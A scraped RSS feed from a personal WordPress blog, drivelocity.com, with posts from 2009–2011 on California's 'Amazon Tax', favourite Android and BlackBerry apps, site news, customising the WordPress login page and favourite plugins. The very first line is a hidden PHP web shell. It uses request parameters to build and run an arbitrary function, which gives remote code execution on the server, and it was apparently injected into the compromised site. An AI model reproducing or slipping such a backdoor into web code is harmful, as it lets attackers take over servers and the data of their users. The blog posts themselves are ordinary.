if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['ac073412089795bfaba8a39866c7bcd6']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} drivelocity.com http://drivelocity.com senseless nonsense in a nonsensical world Fri, 01 Jul 2011 20:10:46 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 “Amazon Tax” Passed in California http://drivelocity.com/politics/amazon-tax-passed-in-california/ http://drivelocity.com/politics/amazon-tax-passed-in-california/#comments Fri, 01 Jul 2011 20:05:04 +0000 drivelocity http://drivelocity.com/?p=959 Amazon.comBack in 2009, I posted about AB-178, the California Internet Tax. Fortunately for us those active in affiliate marketing, it did not pass. Unfortunately, Gov. Jerry Brown signed California’s budget into law, which included the Internet Tax, or what many call the “Amazon Tax.”

What does the law do?

Basically, it’s California’s way of trying to circumvent a federal law regarding collecting sales tax in a state where a business has a physical presence, be it a store front, a warehouse, distribution center, mailbox, what have you. The new law includes affiliate marketers in California as having a physical presence. California law makers would have you believe that it would increase tax revenue at a time when the state is heavily in debt and the base tax rate reverted from 8.25% back to 7.25%.

What will it really do?

The lawmakers either ignored, or failed to realize, the fact that those same affiliate marketers the law relies on are the same ones who pay income tax to the state on the commissions they earn from affiliate marketing – from companies like Amazon.com. The enactment of this law will also require businesses to be able to track the different state, county and city tax rates around the country and charge buyers accordingly.

And…

Additionally, California is forcing tax collection onto companies that are not even in California, as long as they have an affiliate program. Owners, employees and representatives (besides affiliates) of those companies do not get to vote, nor enjoy any benefits of their tax collection. They don’t drive on our roads, they don’t use our emergency services, and they sure as hell didn’t get a say in the matter.

What happened?

Simply put, Amazon.com dropped 25,000 California-based affiliates from their affiliate program in order to continue to avoid collecting sales tax from California residents. Just like what they did in Illinois and Colorado! Some numbers were crunched on CalWatchDog… In 2009 California received $124 million in income taxes from affiliates.

So, instead of the up to $500 million Skinner says might be collected, it might be just $152 million. And notice the key word “static.” That means the estimate assumes Amazon won’t fire its affiliates; and the affiliates won’t be hurt and many of the shut down, or move to more accommodating states.

Let’s do the math: If only $152 million is collected, but $124 million in income taxes are lost (as Runner says), then the net would be just $26 million. That’s less than $1 per Californian.

What does that mean?

California will not be getting any of the sales tax they so desperately wanted from Amazon.com sales. California will no longer be getting income tax revenue from commissions that would have been derived from sales sent to Amazon.com. Companies and individual affiliate marketers will leave California, taking with them their income taxes, sales taxes and any revenue that the state could have generated off of them and/or their businesses.

So, who’s behind this?

It’s not just California lawmakers that are responsible for this, and I’m not going to place the blame on voters. There was a large lobbying effort by big box retailers like Wal-Mart Stores Inc., Target Corp., Best Buy Co. and Barnes & Noble Inc. Note that these stores also have affiliate programs, but because they already have a physical presence in presumably every state, they already have the mechanisms in place to collect sales tax. They’re looking to thin the herd.

How do you really feel?

I fought over this issue a couple years ago and succumbed to the idea that it was just a matter of time. I still have a glimmer of hope that it can be removed/reverted and we can go back to business as normal. Some California lawmakers cannot possibly be so blind as to not see that this is a lose-lose situation. We may eventually get to a point where the federal law is rewritten to address the diversity and complexity of the Internet age. Until then, we all lose out with laws like this.

]]> http://drivelocity.com/politics/amazon-tax-passed-in-california/feed/ 9 Top Ten Free Android Apps http://drivelocity.com/on-the-web/top-ten-free-android-apps/ http://drivelocity.com/on-the-web/top-ten-free-android-apps/#comments Tue, 14 Jun 2011 05:48:46 +0000 drivelocity http://drivelocity.com/?p=932 Top Ten Free Android AppsSince I last posted about my Top Ten Blackberry Apps, I’ve switched over to the Android platform and have absolutely no regrets. I’ve had several months to break it in and try out dozens of apps. While I have a lot of favorites, the following are my top ten Android apps, based on usage, features, quality, style, etc.

  1. K9-Mail – I wasn’t a fan of the default Android mail. Blackberry really was great about one thing; email. With K9-Mail, it gets a little closer as you can set how often you want email pulled off the server, whereas I believe the default Android mail system only does that for Gmail.
  2. Google Talk – If you don’t have unlimited texting for your Android, the Google Talk app is a great alternative. You can text all you want w/out incurring any overage fees for texting too much. The only drawback is that the other person needs Google Talk as well.
  3. Facebook – I’m hardly addicted to it, but it’s become a standard app. It’s so easy to take pics, upload to Facebook, tag people, reply, send messages, etc.
  4. TweetCaster – I think this is, by far, the best Twitter app for Android. The primary reason is how it handles multiple accounts. I’ve tried others and almost switched to TweetDeck, but there were definite pros with TweetCaster that I couldn’t find elsewhere (i.e. autofill for names, quick follow, etc.)
  5. WordPress – It’s just like it’s Blackberry counterpart, but as with most apps, it’s improved over time. I’m able to take a picture with my phone, share it via the WordPress app (like Facebook) and it will upload it into a post.
  6. Reddit Is Fun – If you like Reddit, but want something better than their mobile site, this app makes surfing Reddit, well, fun.
  7. CraigsNotifica – This handy unofficial Craigslist app makes searching and tracking items on Craigslist a breeze. Plus, as the name implies, you can set up notifications to alert you when a new item that matches your query is added.
  8. Pandora – With a new phone, I tried a new service and even paid for Slacker. It didn’t get along with my phone and I’d frequently have to relaunch it, which is a pain while driving, or mowing the lawn. Pandora, even though you can’t cache stations, works much better.
  9. Gas Buddy – As gas prices continue to rise, I’m finding that I use this app more and more. It serves a singular purpose, and that is to help you find the lowest gas prices in your area.
  10. Google Sky Map – The coolness factor of this app is off the charts! Turn this app on and you instantly have in front of you a map of constellations and planets, wherever you point your phone. My son was learning about planets in preschool & he loves this app too!

Obviously, there are a lot of other apps I use and some I would include based on frequency of use, but, like Droidin (the best LinkedIn app I could find), they just aren’t that great. I also use Tapatalk for a few forums I frequent, but many forum scripts have their own built in mobile versions that are just as good.

What are your favorite Android apps?

]]> http://drivelocity.com/on-the-web/top-ten-free-android-apps/feed/ 8 The all new drivelocity.com! http://drivelocity.com/site-news/the-all-new-drivelocity-com/ http://drivelocity.com/site-news/the-all-new-drivelocity-com/#comments Wed, 08 Jun 2011 21:05:31 +0000 drivelocity http://drivelocity.com/?p=913 As you can see, though you probably wouldn’t know if this is your first time here, drivelocity.com has a new theme! The theme is one of the latest from Elegant Themes, a somewhat customized version of “InReview.”

I liked the look and functionality of this theme and it wasn’t too over-the-top news-ish, but still has some of the cool slider features and sidebar & footer widget areas. Normally the InReview theme would be used for product reviews and ratings – there’s a full rating system for editors to rate product features and for visitors to provide their own ratings. It’s a great theme and maybe I’ll find a use for it on another site… Be sure to check out Elegant Themes for a ton of other great themes w/ one low price to use any/all of them!

Anyhow, I hope you enjoy the new theme! As I mentioned in my previous post, I have some new post ideas in the works and should be able to get some new content published in the very near future.

So, let me know what you think of the new look for drivelocity.com! :)

]]> http://drivelocity.com/site-news/the-all-new-drivelocity-com/feed/ 5 Back from the dead? http://drivelocity.com/site-news/back-from-the-dead/ http://drivelocity.com/site-news/back-from-the-dead/#comments Fri, 06 May 2011 17:48:07 +0000 drivelocity http://drivelocity.com/site-news/back-from-the-dead/ I knew it had been a while since I’d posted on this blog, but I had no idea it had been over a year! Where the time went, I have no idea! I know, for certain, that I would have ben able to keep it up-to-date if it weren’t for Websense… Even with the WordPress app for my smartphone, it’s not easy to stay involved and on top of things.

Anyhow, I’m working on implementing a new theme and will try to revive drivelocity from the dead. Since many things have changed over the past year, some of which involve old topics, I have some new post ideas ready to go once the new theme is ready.

The current theme, while whimsical and suitable for this site, is quite limited as far as customizing and using widgets. I’m pretty excited about that. Stay tuned…

]]> http://drivelocity.com/site-news/back-from-the-dead/feed/ 2 Top Ten Free Blackberry Apps http://drivelocity.com/on-the-web/top-ten-free-blackberry-apps/ http://drivelocity.com/on-the-web/top-ten-free-blackberry-apps/#comments Sat, 30 Jan 2010 22:05:28 +0000 drivelocity http://drivelocity.com/?p=886 As you’ve probably read, if you’ve visited drivelocity.com recently, I’m a new Blackberry user. So, what does one do when they have this new-found mobile freedom? Play with it like it’s your first set of Legos on Christmas morning and see what kinds of cool things you can do… Here are the top ten free WordPress apps I’ve used, in no particular order.

  • WordPress – This free app from WordPress has allowed me monitor and update all of my blogs from just about anywhere.
  • Pandora – There are several free streaming music apps for the Blackberry. With Pandora I can enter favorite bands or songs and channels with similar music is created.
  • Facebook and MySpace – I’ll just lump these together, since they pretty much do the same thing – updating the social networking sites.
  • Google Sync – Blackberry has its own calendar, but I already use Google Calendar. This app syncs the two, as well as you contacts.
  • Google Mobile App – Sometimes it’s too time consuming to bring up a the Blackberry browser and manually typing in your query. With this app, you can speak your question, or keywords and it will search for you. (Apparently, this does not work on the Blackberry Storm)
  • UberTwitter – This is pretty much the king of Twitter apps for the Blackberry and retains most, if not all, of the functionality Twitter.com offers. Of course, it’s no match for a PC client like TweetDeck.
  • PayPal – There’s not too much to this one, but being able to send payments and check your acct history while traveling is pretty cool.
  • The Weather Channel – I prefer this weather app over others, like WeatherEye, because it offers a longer forecast and has less intrusive advertising.
  • Poynt – From locating businesses, restaurants movie times and gas prices near you, this app does a lot!
  • Blackberry Messenger – This one is pretty muck a given. It’s a quick and easy way to chat and share pictures with friends and famiy.

Most of the Blackberry apps listed above can be found at BlackBerry App World and the CrackBerry App Store. Enjoy!

]]> http://drivelocity.com/on-the-web/top-ten-free-blackberry-apps/feed/ 26 Mobile Blogging http://drivelocity.com/blogging/mobile-blogging/ http://drivelocity.com/blogging/mobile-blogging/#comments Thu, 14 Jan 2010 22:52:09 +0000 drivelocity http://drivelocity.com/uncategorized/mobile-blogging/ My wife and I recently upgraded our phones and I now have a Blackberry… I’ve been getting it set up slowly, but surely. The latest app I installed is from WordPress and enables me to post and edit posts and pages as well as review and approve comments. So, while I am able to become more connnected and active with drivelocity.com, I’m not sure it’s really practical for everyday blogging.

I also got a netbook for Christmas. The next thing for me to do is to try and tether it with the Blackberry. Then, I should have everything I need to blog from just about anywhere. I’m sure my wife will just love that! LOL :P

]]> http://drivelocity.com/blogging/mobile-blogging/feed/ 14 F’ing Websense http://drivelocity.com/work/fing-websense/ http://drivelocity.com/work/fing-websense/#comments Wed, 28 Oct 2009 14:20:06 +0000 drivelocity http://drivelocity.com/?p=870 If you don’t see me posting as often to this blog, it’s because my office uses Websense and now drivelocity is blocked. I hope to find a way around it soon. Suggestions are welcome :)

]]> http://drivelocity.com/work/fing-websense/feed/ 13 Site Issues (Not) Resolved http://drivelocity.com/site-news/site-issues-resolved/ http://drivelocity.com/site-news/site-issues-resolved/#comments Sat, 12 Sep 2009 22:49:31 +0000 drivelocity http://drivelocity.com/?p=872 I sincerely apologize for the downtime. The issue should finally be resolved. A missing file that the .htaccess file was looking for caused the site to show a blank white page. Apparently, the permalinks structure had also somehow gotten changed. I think we’re good now. I just need to check my other sites to make sure I didn’t include the same error in their respective .htaccess files.

Many thanks to my host, ASmallOrange for helping me out!

UPDATE:

It appears that it may actually have been a problem with a plugin, rather than the .htaccess file. At this time, all plugins are deactivated, so you may see some errors. I’ll keep an eye on it for a couple days before turning plugins back on to make sure that is, in fact, the case.

]]> http://drivelocity.com/site-news/site-issues-resolved/feed/ 7 Custom WordPress Login http://drivelocity.com/blogging/custom-wordpress-login/ http://drivelocity.com/blogging/custom-wordpress-login/#comments Tue, 04 Aug 2009 17:28:05 +0000 drivelocity http://drivelocity.com/?p=864 A new site of mine will require authors to login, but rather than having them see the normal WordPress logo on the login page, I replaced it with my own. This is also a good idea if you’re building a site for a client, so you can give them their own branded login page. It’s easy and quick, but shows you paid attention to details.

Here is an example:

Before:

After:

Here is how you do it:

  1. Backup yoursite.com/wp-admin/images/logo-login.gif
  2. Create your logo image with transparent background or match background color (#f9f9f9)
  3. Save as logo-login.gif and overwrite existing file
  4. Backup yoursite.com/wp-login.php
  5. Change (‘login_headerurl’, ‘http://wordpress.org/’); to (‘login_headerurl’, ‘http://yoursite.com/’);
  6. Save wp-login.php and overwrite existing file

That’s all it takes. If you’d rather use a plugin, there are some available to help you customize your login page.

UPDATE:

When you upgrade WordPress, you will need to do this again. Upgrading to the latest version, 2.8.4 in this case, overwrote the files with the originals.

]]> http://drivelocity.com/blogging/custom-wordpress-login/feed/ 12 New Favorite WordPress Plugins http://drivelocity.com/blogging/new-favorite-wordpress-plugins/ http://drivelocity.com/blogging/new-favorite-wordpress-plugins/#comments Mon, 03 Aug 2009 22:30:10 +0000 drivelocity http://drivelocity.com/?p=859 Prior to starting drivelocity.com, I was a relative noob to blogging and only used WordPress plugins in moderation. I’m really enjoying using them and the freedom they provide. Here is a list of plugins that I’ve tried recently & enjoy using.

  • Automatic Links – Automatically adds HTML anchor tags to plain text links and email addresses embedded in the content of posts and pages.
  • Category Icons – Assign icons to your categories to appear next to post titles on the index, single post, archive and search pages.
  • WP-Polls – A great AJAX polling system to place polls as widgets or into posts. You can have multiple polls throughout your site.
  • WP Authors – Want to have a list of authors on your sidebar alongside your categories? This plugin allows you to place a widget that lists and links to authors on your blog.
  • WP No Category Base – Would you rather have “yoursite.com/categoryname” or “yoursite.com/category/categoryname” ? This plugin allows the former for a shorter URL.
  • WordPress Popular Posts – Retrieves the most active entries of your blog and displays them with your own formatting (optional). Use it as a widget or place it in your templates.

Also check out my Ten Favorite WordPress Plugins and my post about using WordPress as a CMS.

]]> http://drivelocity.com/blogging/new-favorite-wordpress-plugins/feed/ 5